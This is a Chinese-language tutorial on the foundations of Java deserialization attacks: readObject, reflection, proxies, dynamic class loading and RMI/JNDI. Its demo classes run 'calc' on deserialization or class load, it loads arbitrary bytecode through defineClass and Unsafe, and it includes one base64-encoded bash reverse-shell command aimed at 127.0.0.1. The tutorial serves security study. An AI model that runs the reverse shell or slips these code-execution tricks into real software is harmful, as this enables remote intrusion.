什么是序列化和反序列化
在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化
- 1. 序列化:将内存中的某个对象压缩成字节流的形式
- 2. 反序列化:将字节流转化成内存中的对象
为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.
可能的形式
- 1. 入口类的readObject直接调用危险方法
- 2. 入口类参数中包含可控类,该类有危险方法,readObject时调用
- 3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
比如类型定义为Object,调用equals/hashcode/toString 相同类型 同名函数
- 1. 构造函数/静态代码块等类加载时隐式执行
JAVA原生反序列化漏洞成因
Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码
Java序列化和反序列化基础
需要跳出PHP反序列化的思想
在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流
序列化/反序列化是一种思想,并不局限于其实现的形式
如:
- • JAVA内置的
writeObject()/readObject()
- • JAVA内置的
XMLDecoder()/XMLEncoder
- •
XStream
- •
SnakeYaml
- •
FastJson
- •
Jackson
出现过漏洞的组件
- • Apache Shiro
- • Apache Axis
- • Weblogic
- • Jboss
- • Fastjson
Java中的命令执行
public static void main() throws Exception{ Runtime.getRuntime().exec("calc"); /* Java中执行系统命令使用java.lang.Runtime类的exec方法 以上函数可以弹出计算器 getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等) exec底层为ProcessBuilder:此类用于创建操作系统进程 每个ProcessBuilder实例管理进程属性的集合。start()方法使用这些属性创建一个新的Process实例。start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。 */ }
注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}
编写一个可以序列化的类
在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable
接口
/* * @Author: * @Date: 2022-10-03 15:57:25 * @LastEditors: * @LastEditTime: 2022-10-04 14:25:05 * @Description: 请填写简介 */ package serializable; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
/* * implements Serializable:序列化的前提,需要实现这个接口 * Serializable:表示这个类的成员可以被序列化 */ public class Person implements Serializable { private static final long serialVersionUID = 1L; // 添加一个 transient 关键字,则name属性不会被序列化和反序列化 // 如果将属性设置为static,同样不会被序列化和反序列化 // private transient String name; public String name; private int age; public Person(){ } public Person(String name, int age) { this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处: * 1. 可以当注释用,方便阅读 * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错 * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法) * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误 */ @Override public String toString() { return "Person{" + "name='" + name + '\'' + ",age=" + age + '}'; } private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { /* * java.io.ObjectInputStream.defaultReadObject() * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助. * 如果它被调用,则会抛出NotActiveException */ objectInputStream.defaultReadObject(); /* * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得. */ /* * exec:在具有指定环境的单独进程中执行指定的字符串命令. * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 . */ Runtime.getRuntime().exec("calc"); } }
我们跟进java.io.Serializable
接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了
public interface Serializable{ }
如何序列化类
Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable
接口,并调用ObjectOutputStream
类的writeObject
方法即可
/* * @Author: * @Date: 2022-10-03 15:56:26 * @LastEditors: * @LastEditTime: 2022-10-04 10:19:15 * @Description: 请填写简介 */ package serializable; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class Serializable { public static void serializable(Object person) throws IOException { /* * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构) * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象. */ /* * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败. * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter . */ // 序列化的类 ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser")); /* * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流. * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同. */ // 需要序列化的对象是谁? obj.writeObject(person); obj.close(); } public static void main(String[] args) throws Exception{ Person person = new Person("JiangJiYue", 22); serializable(person); } }
跟进writeObject
函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient
关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable
接口)
如何反序列化类
序列化使用ObjectOutPutStream
类,反序列化使用的则是ObjectInputStream
类的readObject
方法.
我们在之前重写了readObject
方法,所以会执行命令
/* * @Author: * @Date: 2022-10-03 15:57:52 * @LastEditors: * @LastEditTime: 2022-10-04 10:23:07 * @Description: 请填写简介 */ package serializable; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class Unserializable { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { /* * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象. * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序. * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数. * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类. * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象. */ // 反序列化的类 ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename))); /* * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象. * 读取时,需要将其转换为预期类型. */ // 读出来并反序列化 Object obj = ins.readObject(); ins.close(); return obj; } public static void main(String[] args) throws Exception { Person person = (Person) unserialize("ser.ser"); System.out.println(person); } }
其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理
serialVersionUID
序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套
同样在Java中与协议相对的概念为:serialVersionUID
当serialVersionUID不一致时,反序列化会直接抛出异常
比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常
跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常
Java反射
将类的各个组成部分封装为其他对象,这就是反射机制
反射的作用
让Java具有动态性
- 1. 修改已有对象的属性
- 2. 动态生成对象
- 3. 动态调用方法
- 4. 操作内部类和私有方法
- 5. 解耦,提高程序的可扩展性
在反序列化漏洞中的应用
- 1. 定制需要的对象
- 2. 通过invoke调用除了同名函数以外的函数
- 3. 通过Class类创建对象,引入不能序列化的类
获取字节码Class对象的三种方式
- 1.
Source
源代码阶段:Class.forName("全类名");
将字节码文件加载进内存,返回Class对象 多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类
- 1.
Class
类对象阶段:类名.class
通过类名的属性class来获取 多用于参数的传递
- 1.
Runtime
运行时阶段:对象.getClass
getClass()方法在Object类中定义着 多用于对象的获取字节码的方式
*同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 **
Class对象
Field
获取成员变量们
- •
Field[] fields = getFields()
获取所有public
修饰的成员变量 - •
Field field = getField(String name)
获取所有public
修饰的成员变量 - •
Field[] fields = getDeclaredFields()
获取所有的成员变量 - •
Field field = getDeclaredField(String name)
获取所有的成员变量 - • 操作
- • 获取值:
get(Object obj)
package serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; public class ReflectionTest { public static void main(String[] args) throws Exception { Class cls = Class.forName("serializable.Person"); //当我不想 newInstance初始化的时候执行空参数的构造函数的时候 //可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数 //获取到Person(String name,int age) 构造函数 // 从class里面实例化对象 Constructor personconstructor = cls.getConstructor(String.class,int.class); //通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数 Person p = (Person) personconstructor.newInstance("abc",22); Field name = cls.getField("name"); System.out.println(name.get(p)); } } - 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查 Field age = cls.getDeclaredField("age"); // 忽略安全检查又称为暴力反射 age.setAccessible(true); System.out.println(age.get(p)); • • 设置值:void set(Object obj,Object value) name.set(p,"张三"); System.out.println(p);
Constructor
获取构造方法们
• • Constructor<?>[] = getConstructors() • • Constructor<T> = getConstructor(类<?>...parameterTypes) • • newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22);
- • Constructor:构造方法
Constructor personconstructor = cls.getConstructor(String.class,int.class); System.out.println(personconstructor); - 如果使用空参构造方法创建对象,操作可以简化:Class对象的`newInstance` Class cls = Class.forName("serializable.Person"); Object o = cls.newInstance(); System.out.println(o); • • Constructor<?>[] = getDeclaredConstructors() • • Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes)
Method
获取成员方法们
• • Method[] = getMethods() • • Method = getMethod(类<?>...parameterTypes) Class cls = Class.forName("serializable.Person");
// 获取指定名称 Method eat_method = cls.getMethod("eat"); Object p = cls.newInstance(); // 执行方法 eat_method.invoke(p); • • Method[] = getDeclaredMethods() • • Method = getDeclaredMethod(类<?>...parameterTypes) • • 获取方法名称:String getName Class cls = Class.forName("serializable.Person"); Method[] methods = cls.getMethods(); for (Method method:methods){ System.out.println(method.getName()); }
获取类名
• • String name = getName() Class cls = Class.forName("serializable.Person"); String className = cls.getName(); System.out.println(className); 案例
写一个"框架",可以帮我们创建任意类的对象,并且执行其中任意方法
/* * @Author: * @Date: 2022-10-04 14:11:43 * @LastEditors: * @LastEditTime: 2022-10-04 16:08:53 * @Description: 请填写简介 */ package serializable; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Properties; public class ReflectionTest { public static void main(String[] args) throws Exception { /* * 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法 * 步骤: * 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中 * 2. 在程序中加载读取配置文件 * 3. 使用反射技术来加载类文件进内存 * 4. 创建对象 * 5. 执行方法 * */ // 1.1创建Properties对象 Properties pro = new Properties(); // 1.2加载配置文件,转换为一个集合 // 1.2.1获取class目录下的配置文件 ClassLoader classLoader = ReflectionTest.class.getClassLoader(); InputStream is = classLoader.getResourceAsStream("serializable/pro.properties"); pro.load(is); // 2.获取配置文件中定义的数据 String className = pro.getProperty("className"); String methodName = pro.getProperty("methodName"); // 3.加载该类进内存 Class cls = Class.forName(className); // 4.创建对象 Object obj = cls.newInstance(); // 5.获取方法对象 Method method = cls.getMethod(methodName); // 6.执行方法 method.invoke(obj); } }
pro.properties:
className=serializable.Person
methodName=eat
Java代理
定义:为其他对象提供一种代理以控制对这个对象的访问
代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类
优点:
- • 职责清晰
- • 高扩展,只要实现了接口,都可以使用代理
- • 智能化,动态代理、
分类
- • 静态代理
- • 动态代理
代理常用与记录日志的环境,比如在代理中实现各种日志的记录
静态代理
我们现在有一个接口:IUser IUser.java: /* * @Author: * @Date: 2022-10-11 19:40:35 * @LastEditors: * @LastEditTime: 2022-10-11 19:40:36 * @Description: 请填写简介 */ package java_proxy; public interface IUser { void show(); } 然后Userlmpl.java实现这个接口 /* * @Author: * @Date: 2022-10-11 19:42:01 * @LastEditors: * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */ package java_proxy; public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); } } 假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy /* * @Author: * @Date: 2022-10-11 19:45:45 * @LastEditors: * @LastEditTime: 2022-10-11 19:46:53 * @Description: 请填写简介 */ package java_proxy; public class UserProxy implements IUser{ IUser user; public UserProxy() { } public UserProxy(IUser user) { this.user = user; } @Override public void show() { user.show(); System.out.println("调用了UserProxy中的show"); } } ProxyTest.java /* * @Author: * @Date: 2022-10-11 19:44:01 * @LastEditors: * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */ package java_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 静态代理 IUser userProxy = new UserProxy(user); userProxy.show(); } }
这种模式虽然好理解,但是缺点也很明显:
- • 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类。
- • 不易维护,一旦接口更改,代理类和目标类都需要更改。
动态代理
JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成"虚拟"的代理类,被ClassLoader加载。从而避免了静态代理那样需要声明大量的代理类。
JDK从1.3版本就开始支持动态代理类的创建。主要核心类只有2个:
java.lang.reflect.Proxy
和java.lang.reflect.InvocationHandler
。
- • JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口
还是前面那个例子,用动态代理类去实现的代码如下: Userlmpl.java /* * @Author: * @Date: 2022-10-11 19:42:01 * @LastEditors: * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */ package java_proxy; public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); } } UserInvocationHandler.java /* * @Author: * @Date: 2022-10-11 20:21:22 * @LastEditors: * @LastEditTime: 2022-10-11 20:27:17 * @Description: 请填写简介 */ package java_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class UserInvocationHandler implements InvocationHandler { IUser user; public UserInvocationHandler() { } public UserInvocationHandler(IUser user) { this.user = user; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("调用了UserInvocationHandler中的show"); method.invoke(user, args); return null; } } ProxyTest.java /* * @Author: * @Date: 2022-10-11 19:44:01 * @LastEditors: * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */ package java_proxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 动态代理 InvocationHandler userinvhandler = new UserInvocationHandler(user); // 要代理的接口、类加载器,classloader、要做的事情、 IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userinvhandler); userProxy.show(); } }
Java类的动态加载
类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。
类加载的时候会执行代码
- 1. 初始化:静态代码块
- 2. 实例化:构造代码块、无参数构造函数
Javac原理
javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)
类加载过程
先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。
类加载的流程图
/* * @Author: * @Date: 2022-10-12 12:18:17 * @LastEditors: * @LastEditTime: 2022-10-12 12:25:28 * @Description: 请填写简介 */ package load_class; public class Person { public String name; private int age; static { System.out.println("静态代码块"); } public static void staticAction() { System.out.println("静态方法"); } { System.out.println("构造代码块"); } public Person(){ System.out.println("无参Person"); } public Person(String name, int age) { System.out.println("有参Person"); this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以), */ @Override public String toString() { return "Person{" + "name='" + name + '\'' + ",age=" + age + '}'; } private void action(String act){System.out.println(act);} }
动态类加载方法
类加载可以加载任意方法,但是反射只能反射公共的
Class.forname
package load_class; public class LoadClass { public static void main(String[] args) throws Exception{ // 动态加载进行了初始化的操作 Class.forName("load_class.Person"); } }
/* * @Author: * @Date: 2022-10-12 12:17:50 * @LastEditors: * @LastEditTime: 2022-10-12 14:37:34 * @Description: 请填写简介 */ package load_class; public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 第一个参数类名 // 第二个参数是不进行初始化 // 第四个参数是forName0的,所以在这不用写 // 这种都是可以正常实例化的 Class<?> c = Class.forName("load_class.Person", false, cs); // 正常的实例化 c.newInstance(); } }
ClassLoader
/* * @Author: * @Date: 2022-10-12 12:17:50 * @LastEditors: * @LastEditTime: 2022-10-12 14:40:27 * @Description: 请填写简介 */ package load_class; public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 打印ClassLoader,看一下是什么 // result:sun.misc.Launcher$AppClassLoader@73d16e93 // 他是Launcher里面的一个内部类,叫做AppClassLoader System.out.println(cs); } }
关类
URLClassLoader
URLClassLoader
:输入一个URL,从URL内加载一个类出来
- 1. 构造一个恶意类
import java.io.IOException; public class Hello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
- 1.
javac .\Hello.java
然后将Hello.java
删除或者移动到其他目录 - 2. 编译动态加载类
defineClass defineClass是一个protected,所以只能通过反射调用,字节码任意加载类 构造恶意类:Hello.java /* * @Author: * @Date: 2022-10-12 22:43:33 * @LastEditors: * @LastEditTime: 2022-10-13 08:27:39 * @Description: 请填写简介 */ package load_class; public class Hello { public Hello() throws Exception{ Runtime.getRuntime().exec("calc"); } } 动态加载:LoadClass.java ClassLoader cl = ClassLoader.getSystemClassLoader(); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class")); Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length); c.newInstance();
Unsafe Unsafe中也含有defineClass字节码任意加载类 /* * @Author: * @Date: 2022-10-12 12:17:50 * @LastEditors: * @LastEditTime: 2022-10-13 20:19:06 * @Description: 请填写简介 */ package load_class; import sun.misc.Launcher; import sun.misc.Unsafe; import java.io.File; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; public class LoadClass { public static void main(String[] args) throws Exception { ClassLoader cl = ClassLoader.getSystemClassLoader(); byte[] code = Files.readAllBytes(Paths .get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class")); Class c = Unsafe.class; Field theUnsafeField = c.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null); c2.newInstance(); } }
Map集合
集合又称容器,是Java中对数据结构(数据存储方式)的具体实现
我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作
集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器
image.png
Map集合类型
- 1. Map
- • Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)
- • Map集合中的元素,key和value的数据类型可以相同,也可以不同
- • Map集合中的元素,key是不允许重复的,value是可以重复的
- • Map集合中的元素,key和value是一一对应的
- • 特点
- 2. HashMap
- • 采用Hashtable哈希表存储结构(神奇的结构)
- • 优点:添加速度快、查询速度快、删除速度快
- • 缺点:key无序
- 3. LinkedHashMap
- • 采用哈希表存储结构,同时使用链表维护次序
- • key有序(添加顺序)
- 4. TreeMap
- • 采用二叉树(红黑树)的存储结构
- • 优点:key有序 查询速度比List快(按照内容查询)
- • 缺点:查询速度没有HashMap快
Map接口
- 1. 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)
- 1. 继承关系Ctrl+H
image.png
2. 包含的APIAlt+7
image.png
Map使用
/* * @Author: * @Date: 2022-10-16 20:33:43 * @LastEditors: * @LastEditTime: 2022-10-16 22:34:09 * @Description: 请填写简介 */ package java_Map; import java.util.*; public class TestMap { public static void main(String[] args) { // Student stu1 = new Student(1, "张三", 22); // Student stu2 = new Student(2, "李四", 28); // Student stu3 = new Student(3, "王五", 24); // Student stu4 = new Student(4, "赵六", 21); // Student stu5 = new Student(5, "刘琦", 18); // // Map<Integer, Student> map = new HashMap<>(); // map.put(stu1.getId(), stu1); // map.put(stu2.getId(), stu2); // map.put(stu3.getId(), stu3); // map.put(stu4.getId(), stu4); // map.put(stu5.getId(), stu5); // // 该代码允许用户从System.in读取一个数字 // Scanner sc = new Scanner(System.in); // // 提示文字 // System.out.println("请输入学生的编号:"); // // 该代码允许用户从System.in读取一个数字 // int id = sc.nextInt(); // sc.close(); // // map.get()通过key取值 // System.out.println(map.get(id)); Map<Integer, String> map = new HashMap<>(); // Map集合添加元素 k v map.put(1, "北京"); map.put(2, "山东"); map.put(3, "河南"); map.put(4, "河北"); // 根据Key获取对应的值 System.out.println(map.get(1)); // 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value String s = map.remove(1); System.out.println(s); // 根据 k v 同时移除内容 返回值是布尔类型 System.out.println(map.remove(2, "山东")); // 元素的替换 System.out.println(map.replace(3, "天津")); // 替换成功返回Bool System.out.println(map.replace(4, "河北", "山西")); System.out.println(map.get(4)); System.out.println(map); // 清空map集合内容 k v 都清空 map.clear(); System.out.println(map); System.out.println("--------HashMap保存值情况--------"); map.put(1, "北京1"); // HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 System.out.println(map); // hash表中是允许Kev保存空对象 map.put(null, "空"); System.out.println(map); System.out.println("--------TreeMap保存值情况--------"); Map<Integer, String> map2 = new TreeMap<>(); map2.put(1, "北京"); map2.put(2, "北京2"); // TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 map2.put(1, "北京3"); // Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理) // map2.put(null, "空"); System.out.println(map2); System.out.println("--------Map3集合的遍历--------"); Map<Integer, String> map3 = new HashMap<>(); map3.put(1, "北京"); map3.put(2, "山东"); map3.put(3, "河南"); map3.put(4, "河北"); // 当前遍历的方式 // 获得map集合中当前所有的key System.out.println("遍历方法一:"); Set<Integer> keySet = map3.keySet(); for (Integer key : keySet) { System.out.println(key+"----"+map3.get(key)); } // 直接获得map集合的value System.out.println("遍历方法二:"); Collection<String> values = map3.values(); for (String value : values) { System.out.println(value); } System.out.println("遍历方法三:"); Set<Map.Entry<Integer, String>> entrySet= map3.entrySet(); for (Map.Entry<Integer, String> entry : entrySet) { System.out.println(entry.getKey()+"----"+entry.getValue()); } } }
Entry键值对对象
我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项)。Entry 将键值对的对应关系封装成了对象。即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:
- • public K getKey():获取Entry对象中的键
- • public V getValue():获取Entry对象中的值
在Map集合中也提供了获取所有Entry对象的方法:
- • public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)
设定值
- • setValue(V value)
- • 用指定的值替换与该条目对应的值(可选操作)(写入映射。)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的。
- • 参数:value- 要存储在此条目中的新值
- • return:对应条目的旧值
前置知识
利用链
利用链是什么:
- • 入口点Source+中间经过的类方法gadget+执行点Sink
RMI/JRMP/JNDI
RMI(Remote Method Invocation)
能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样
一台机器想要执行另一台机器上的java代码
例如:
我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义
Server--->告诉注册中心
Client--->根据名字和注册中心要端口
Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.
注册中心约定端口:1099
Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)
RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:
整个过程会进行两次TCP连接:
- 1. Client获取这个Name和对象的绑定关系
- • RMI客户端在调用远程方法时会先创建
Stub(sun.rmi.registry.Registrylmpl Stub)
- • Stub会将Remote对象传递给远程引用层
java.rmi.server.RemoteRef
并创建java.rmi.server.RemoteCall
(远程调用)对象。 - • RemoteCall序列化RMI服务名称、Remote对象。
- • RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
- • RMI服务端的远程引用层
sun.rmi.server.UnicastServerRef
收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)
- • Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
- • Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
- 2. 再去连接Server并调用远程方法
- • RMI客户端反序列化服务端结果,获取远程对象的引用
- • RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
- • RMI客户端反序列化RMI远程方法调用结果
**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载
对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程-->在JAVA中使用序列化和反序列化来实现
JRMP(Remote Method Protocol)
通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、
JNDI(Naming and Directory Interface)
Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.
而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象
总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中
JJEP(JAVA Enhancement proposa)
JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290
